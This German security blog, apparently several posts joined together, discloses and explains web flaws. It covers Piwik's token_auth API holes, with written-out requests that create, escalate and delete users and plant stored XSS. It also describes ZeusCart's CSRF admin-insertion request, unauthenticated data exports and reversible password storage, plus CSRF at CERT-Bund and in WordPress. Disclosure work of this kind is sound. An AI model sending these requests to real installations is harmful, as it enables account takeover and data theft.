Anlässlich des 27C3 hat jemand Piwik auf seinem Server installiert und zum Hacken zur Verfügung gestellt:

Wer lust hat mit zu suchen ob/wie man das defacen (ob mit oder ohne login) kann ist herzlich willkommen.

http://events.ccc.de/congress/2010/wiki/Hacked

Nach ein paar Tagen fand auch jemand eine XSS-Lücke, die allerdings nur unter bestimmten Voraussetzungen ausgenutzt werden kann:

• Das SEO-Widget muss aktiviert sein.
• Der anonymous-Account muss öffentlich zugänglich sein, ansonsten kann nur
• ein eingeloggter Benutzer angegriffen werden.

Nach der Installation von Piwik ist das SEO-Widget zwar aktiviert, aber der Benutzer “anonymous” ist deaktiviert. D.h. bei der üblichen und weit verbreiteten Konfiguration kann die Lücke nicht ausgenutzt werden.

(Ein paar Screenshots zur Erklärung.)


Was ich bei meinen Tests in Piwik aber ungleich interessanter fand, ist die CSRF-Lücke die ohne Angriff auf einen Benutzer auskommt, von daher ist es eigentlich gar keine Cross-Site Request Forgery (de.wikipedia.org). CSRF benutzt i.d.R. die Authentifizierung eines angemeldeten Benutzers, der auf einen präparierten Link klicken muss oder eine manipulierte Website ansurft, damit eine Aktion sozusagen in seinem Namen ausgeführt wird.

Schaut man sich die Piwik-Statistik an, ob nun als Anonymous, Administrator oder Superuser, so gibt es in der URL bzw. im HTML-Quellcode den Parameter token_auth. Beim Anonymous ist der Token gleich anonymous, bei den anderen Benutzern ist es ein MD5-Hash. Der Hash wird aus dem Benutzernamen und dem Passwort gebildet.

Plain: 123456789
MD5 Hash: 25f9e794323b453885f5181f1b624d0b

Plain: admin25f9e794323b453885f5181f1b624d0b
MD5 Hash: c561acea86161390fe8bc97a433c20ad

Der token_auth is so geheim wie Ihr Login und Password, teilen Sie es niemandem mit!

Aber per Suchmaschine fand ich innerhalb von wenigen Sekunden genau diesen Token.


In der Benutzerverwaltung von Piwik steckt ein Fehler, der dazu genutzt werden kann um einen neuen Benutzer

• neu zu registrieren,
• seine Zugriffsrechte zu erhöhen und
• ihn auch wieder zu löschen

und dies alles ohne das ein registrierter Benutzer involviert ist. Hierzu bedarf es nur einer Information — den Inhalt von token_auth des Superusers.

Neuen Benutzer anlegen
http://localhost:8888/piwik10/piwik/index.php
?module=API
&method=UsersManager.addUser
&userLogin=hacker
&password=123456
&email=email2%40domain.com
&alias=alias
&token_auth=c561acea86161390fe8bc97a433c20ad

Neuem Benutzer den Status ADMINISTRATOR geben
http://localhost:8888/piwik10/piwik/index.php
?module=API
&method=UsersManager.setUserAccess
&userLogin=hacker
&access=admin
&idSites=1
&token_auth=c561acea86161390fe8bc97a433c20ad

Neuen Benutzer löschen
http://localhost:8888/piwik10/piwik/index.php
?module=API
&method=UsersManager.deleteUser
&userLogin=hacker
&token_auth=c561acea86161390fe8bc97a433c20ad

Ich habe dies alles mal in einem Screencast zusammengefasst. Da ich es etwas zu breit aufzeichnen musste, damit man überhaupt etwas sehen kann, habe ich es auf YouTube hochgeladen: (http://www.youtube.com/watch?v=wTEcToFuFOI)

Andere Aktionen des Superusers werden nur ausgeführt wenn der Superuser eingeloggt ist, daher gehe ich davon aus dass dies wirklich ein Bug ist und kein Feature. ;O)

Evtl. gibt es auch die Möglichkeit mit der XSS-Lücke an den token_auth des Superusers zu gelangen, dies habe ich noch nicht geschafft — aber das Jahr ist ja noch jung. :O)

In diesem Sinne
Frohes Neues Jahr (auch den Programmierluschen <g>)


Update: 18:00 Uhr

Ich habe noch eine XSS-Lücke gefunden. Die erste Lücke ist reflexiv, diese ist persistent und wird in den “Zielen” aktiv:

http://localhost:8888/piwik10/piwik/index.php
?idSite=1
&name=%253Chr%253Exss%253Chr%253E
&matchAttribute=url
&patternType=contains
&pattern=xss
&caseSensitive=0
&revenue=0
&idGoal=
&method=Goals.addGoal
&module=API
&token_auth=c561acea86161390fe8bc97a433c20ad

Diese Lücke ist wieder nur ausnutzbar wenn token_auth bekannt ist. Hierbei muss es aber nicht der Token des Superusers sein — der eines Benutzers mit Rechten eines ADMINISTRATOR reicht aus.

(http://www.youtube.com/watch?v=kAFpDZa53AA)



Update: 02.01.2011 – 10:40 Uhr

Auch wenn ich per Suchmaschine sehr schnell token_auth von Superusern finden konnte, ist die Anzahl der Funde, im Verhältnis zur Verbreitung von Piwik so gering, dass es sich wohl eher um Dummheiten und Missverständnisse auf Seiten der Benutzer handelt, die den API-Code anstatt der Widgets in ihre Websites einfügen.


Update: 04.01.2011 – 15:32 Uhr

“Sicherheits-Update für Web-Analyse-Software Piwik” (heise.de)
Auch die beiden XSS-Lücken und die Full Path Disclosure wurden gefixt.

Um die Antwort vorweg zu nehmen: Nein!


Wenn ich eine neue Seite besuche dann kann ich nicht anderes, da muss ich einfach mal irgendwo ein '">xss eingeben… :O)

Weiteres reflexives Cross-Site Scripting findet sich noch auf den folgenden Seiten: Passwort vergessen, Suche, Registrierung und Login.

Es gibt aber auch die Möglichkeit persistent eigenen Code im Shop zu speichern. Eine Seite die zum Pagemanagement aus dem Backend gehört kann von nicht angemeldeten Besuchern des Shops aufgerufen werden. Auf der Seite können bestehende Einträge editiert, gelöscht und neue hinzugefügt werden.


Seiten aus dem Backend die für jeden Besucher aufrufbar sind, und nicht nur für Shopadmins, gibt es noch weitere:

• Ausgabe der phpinfo()-Seite.
• Export aller Produktdaten im Excel-, XML-, CSV- oder TAB-Format.
• Export aller Kundendaten im Excel-, XML-, CSV- oder TAB-Format.
• Löschen der Aktivitäten des Admins, die in einer Tabelle gelistet werden.
• Anzeige der letzten Bestellungen der Kunden, inkl. Name und E-Mail-Adresse.

Nach der Registrierung im Demoshop testete ich auch die Passwort-vergessen-Funktion und wunderte mich gar nicht mehr, dass das von mir vergebene Passwort in der E-Mail stand. Dafür gibt es zwei mögliche Gründe: Entweder wird das Passwort direkt im Klartext in der Datenbank gespeichert oder es wird so kodiert, dass es wieder dekodiert werden kann.

Ich habe mir die Software runtergeladen und kurz in den Quellcode reingeschaut. Die Passworte werden per base64_encode() kodiert und nicht per MD5 oder SHA1 gehasht. Das bedeutet dass alle Passworte die in der Datenbank stehen per base64_decode() dekodiert, also in Klartext umgewandelt werden können.

Hier ein Beispiel für das Kodieren und Dekodieren:


Und hier kann man dies online ausprobieren: “Base64 Kodierer / Base64 Generator” (php-einfach.de)


Und, natürlich fand ich auch noch an vielen Ecken Cross-Site Request Forgery.

Würde dies in eine Seite als unsichtbares Iframe eingebaut und der Shopadmin besucht die Seite während er eingeloggt ist, bekommt er einen weiteren Admin ins System gepflanzt:
http://domain.tld/admin/
?do=subadminmgt&action=insert
[POST]
subadminname=adminb
&subadminpassword=123456
&subadminemail=adminb%40domain.tld
&insert=Add


Noch ein paar Infos für die die sich diese Software anschauen möchten:

Backend: http://ajdemos.com/demo/zeuscart/v3/admin/
User Name: demoadmin
Password: demo123

Frontend: http://ajdemos.com/demo/zeuscart/v3/
User Name: demouser@domainname.com
Password: demouser

Download: http://www.zeuscart.com/download/Zeuscart3.zip


Ich bin sicher dass es noch weitere Schwachstellen gibt, beispielsweise zu SQL-Injection, aber die gefundenen Lücken sind schon vollkommen ausreichend, um die Nutzung abzulehnen. Wer nun noch ernsthaft überlegt dieses Stück Schrott einsetzen zu wollen — dem ist nicht mehr zu helfen.

Vielleicht ist dies auch nur Teil einer Studie, so nach dem Motto: “Wie schrottig darf eine Software sein, bis sie niemand mehr benutzen mag?” ;O)


Eigentlich schreibe ich ja nicht so kritisch über eine Software, aber dieses Teil ist so schlecht und hat so viele Schwachstellen, dass man nicht davon ausgehen kann, dass die Entwickler (immerhin schon Version 3) auf diese noch nie hingewiesen wurden. Eine Google-Recherche nach “Zeuscart” förderte nur Testinstallationen oder bereits gehackte Shops zutage

Kevin Beaver behauptet: Weil kommerzielle Schwachstellen-Scanner mit dem Aufspüren von CSRF-Lücken Probleme haben, so hätten auch Menschen Probleme beim Auffinden solcher Lücken. Und es wäre auch schwer eine gefundene Lücke auszunutzen. Seine Schlussfolgerung daraus: Man solle dieser Art von Schwachstelle weniger Beachtung schenken und lieber die offensichtlichen, leicht auffindbaren Lücken suchen und schließen.

Erst über den Blogeintrag “CSRF Isn’t A Big Deal – Duh!” (ha.ckers.org) von Robert “RSnake” Hansen bin ich auf Kevin Beaver gekommen.

Kevin Beaver hat angeblich 20 Jahre Erfahrung in der Branche. Und erzählt so etwas seinen Kunden? Wieder ein spezieller Experte. ;O)


Ich weiß nicht wie der Algorithmus eines Web Vulnerability Scanner aufgebaut ist um Lücken zu Cross-Site Request Forgery (de.wikipedia.org) zu finden, aber für mich als Human Web Vulnerability Scanner ist das Auffinden recht einfach.

Wenn eine CSRF-Lücke vorliegt besteht kaum ein Problem ein funktionierenden Exploit zu erstellen, etwas HTML- und JavaScript-Kenntnisse reichen vollkommen aus. Der Angreifer muss sein Opfer nur noch auf eine präparierte Website locken, um zum Ziel zu kommen.


Wenn beispielsweise das Anlegen eines neues Users in einem CMS über ein Formular erfolgt welches folgende Daten versendet:

http://wordpress/wp-admin/user-new.php
[POST]
action=adduser
&user_login=tester
&email=name@mail.tld
&pass1=12345678
&pass2=12345678
&role=administrator


So kann man davon ausgehen das eine CSRF-Lücke vorliegt.

In WordPress gibt es aber noch den Parameter _wpnonce der CSRF verhindert:

http://wordpress/wp-admin/user-new.php
[POST]
_wpnonce=abc123xyz789
&action=adduser
&user_login=tester
&email=name@mail.tld
&pass1=12345678
&pass2=12345678
&role=administrator


Der Wert hinter _wpnonce ist für eine bestimmte Aktion und einen bestimmten Blog immer derselbe. Sollte es, evtl. über eine Sicherheitslücke, möglich sein diesen Wert aus einem fremden Blog auszulesen oder ihn zu berechnen, so täte sich eine CSRF-Lücke auf.

Anlässlich des Safer Internet Day am 9. Februar beantwortet das Bundesamt für Sicherheit in der Informationstechnik (BSI) wieder Fragen rund um das Thema „Ins Internet – mit Sicherheit“. Die kostenlose BSI-Hotline ist von 10.00 bis 17.00 Uhr unter der Rufnummer 0800 274 1000 erreichbar. Außerdem können Interessierte ihre Fragen per E-Mail an fragen[ätsch]bsi-fuer-buerger.de schicken.
(Spamschützchen von mir.)

Also anrufen und Fragen stellen bis die Ohren glühen! :O)


<einschub>
Cross-Site Request Forgery (de.wikipedia.org)

Eine Cross-Site Request Forgery (zu deutsch etwa „Site-übergreifende Aufruf-Manipulation“, meist XSRF oder CSRF abgekürzt) ist ein Angriff auf ein Computersystem, bei dem der Angreifer unberechtigt Daten in einer Webanwendung verändert. Er bedient sich dazu eines Opfers, das ein berechtigter Benutzer der Webanwendung sein muss. Mit technischen Maßnahmen oder zwischenmenschlicher Überredungskunst wird hierzu aus dem Webbrowser des Opfers ohne dessen Wissen und Einverständnis ein kompromittierter HTTP-Request an die Webanwendung abgesetzt. Der Angreifer wählt den Request so, dass bei dessen Aufruf die Webanwendung die vom Angreifer gewünschte Aktion ausführt.

</einschub>


“CERT-Bund — Das Computer-Notfallteam des BSI” (cert-bund.de)

CERT-Bund hat das Ziel als zentrale Anlaufstelle für präventive und reaktive Maßnahmen mit Bezug auf sicherheits- und verfügbarkeitsrelevante Vorfälle in Computersystemen zu wirken.

Leider wird dort kein RSS-Feed mit den News angeboten, aber zumindest einen Newsletter gibt es. Also flux angemeldet und geschaut was noch an Services angeboten wird. Naja, einen Service hatte ich nicht erwarten — die Möglichkeit mit nur einem Klick den Account wieder zu löschen. ;O)

Wenn man dort seinen Account wieder löschen möchte:

Wenn Sie sich vom WID-Portal deregistrieren, werden sämtliche in Ihrem Profil enthaltenen Daten (persönliche Daten, Suchprofile & Abonnements) gelöscht.

Aber…

Ist jemand eingeloggt und würde auf eine präparierte Website surfen, so könnte er — ohne es zu wollen — seinen Account löschen, denn es gibt vor dem Löschen keine Nachfrage oder Warnung. So etwas nennt sich dann Cross-Site Request Forgery. In diesem Fall ist es nicht ganz so gefährlich… es sei denn… das Opfer verlässt sich auf die Meldungen zu Sicherheitslücken nur aus dieser einen Quelle.

Hier habe ich mal wieder einen Screencast (diesmal zu groß um es hier in den Blog einzufügen) dazu erstellt:
http://meingottundmeinewelt.de/wp-content/videos/cert-bund_de-csrf.html

In dem Screencast sieht man:

• Wie ich mit einer Wegwerf-E-Mail-Adresse einen Account erstelle.
• Mich einlogge um die Registrierung abzuschließen und dabei ein neues Passwort vergebe.
• Mich wieder auslogge und wieder einlogge, damit man sieht dass der Account auch wirklich besteht.
• Dann rufe ich, während ich eingeloggt bin, ein HTML-Formular auf, welches den Account löscht.

Das Formular zum löschen sieht etwas sonderbar aus, da ausser der URL in action= keine Parameter an die Webseite übermittelt werden. Aber der Aufruf nur der URL alleine in einem Link führt nicht zur Löschung des Accounts.


Lücken zu CSRF werden von Angreifern gerne benutzt um z.B. Zugangsdaten zu ändern, Passworte und/oder E-Mail-Adressen. Administratoren könnten über solch eine Lücke auch ungewollt neue Administratoren im System anlegen. Die Möglichkeiten CSRF auszunutzen sind je nach System sehr erschreckend bzw. für einen Angreifer sehr verlockend.


Die Jungs vom BSI sind irgendwie humorlos. :O)

Im vergangenen Jahr habe ich dutzende von E-Mails zu Sicherheitslücken versendet u.a. auch an fast alle Bundesministerien. Meine Beispiele habe ich zum Teil mit einem JavaScript versehen, welches die Lücken demonstrierte. Immer wenn eine Website vom Bund betroffen war, kamen die Jungs vom BSI und schauten sich an was ich da wieder ausgebrütet hatte. Wahrscheinlich waren die schon genervt wenn sie mal wieder eine weitergeleitete E-Mail bekamen und mich als ursprünglichen Absender erkannten. “Oh nein, nicht der schon wieder!” Naja, auf jeden Fall haben sie dann eines der JavaScripte immer und immer wieder aufgerufen, wo ich nicht verstanden habe warum?! Sie hätten nun einfach nachfragen können, wenn es irgendwelche Unklarheiten gibt, aber nein, wieder und wieder aufrufen und grübeln… ;O)

Wenn ich glaube das meine Hinweise angekommen sind und meine Beispiele nicht mehr benötigt werden, dann lösche ich diese, damit da nicht doch mal irgendwelche Suchmaschinen… Es gibt da nämlich auch so Spezialisten, die haben offensichtlich eine Erweiterung oder Toolbar oder was auch immer, von Alexa installiert und dann kommt plötzlich der Bot und kennt den eigentlich nicht auffindbaren Link zu meinem Beispiel.

Zurück zu dem JavaScript und dem BSI. Mittlerweile hatte ich das Beispiel gelöscht, aber trotzdem kam da noch immer der Mensch vom BSI und suchte nach dem Script… Jaja, ich gebe es ja zu, ich bin frech! :O) Also habe ich das komplette Beispiel inkl. dem JavaScript gezippt und an das BSI per E-Mail geschickt. Am darauf folgenden Tag und auch an den nächsten Tagen kam niemand mehr vom BSI um das Script zu suchen, also war auch diese E-Mail an den richtigen Mitarbeiter weitergeleitet worden. Ob ich eine Antwort bekam? Nein, natürlich nicht. Ich nehme es mit Humor. Bei den BSI-Jungs muss ich immer an die Men in Black denken: “Wir haben keinen Humor, von dem wir wüssten.”

Wer in der IT-Security arbeitet und keinen Humor hat, der sollte sich einen anderen Job suchen! :O)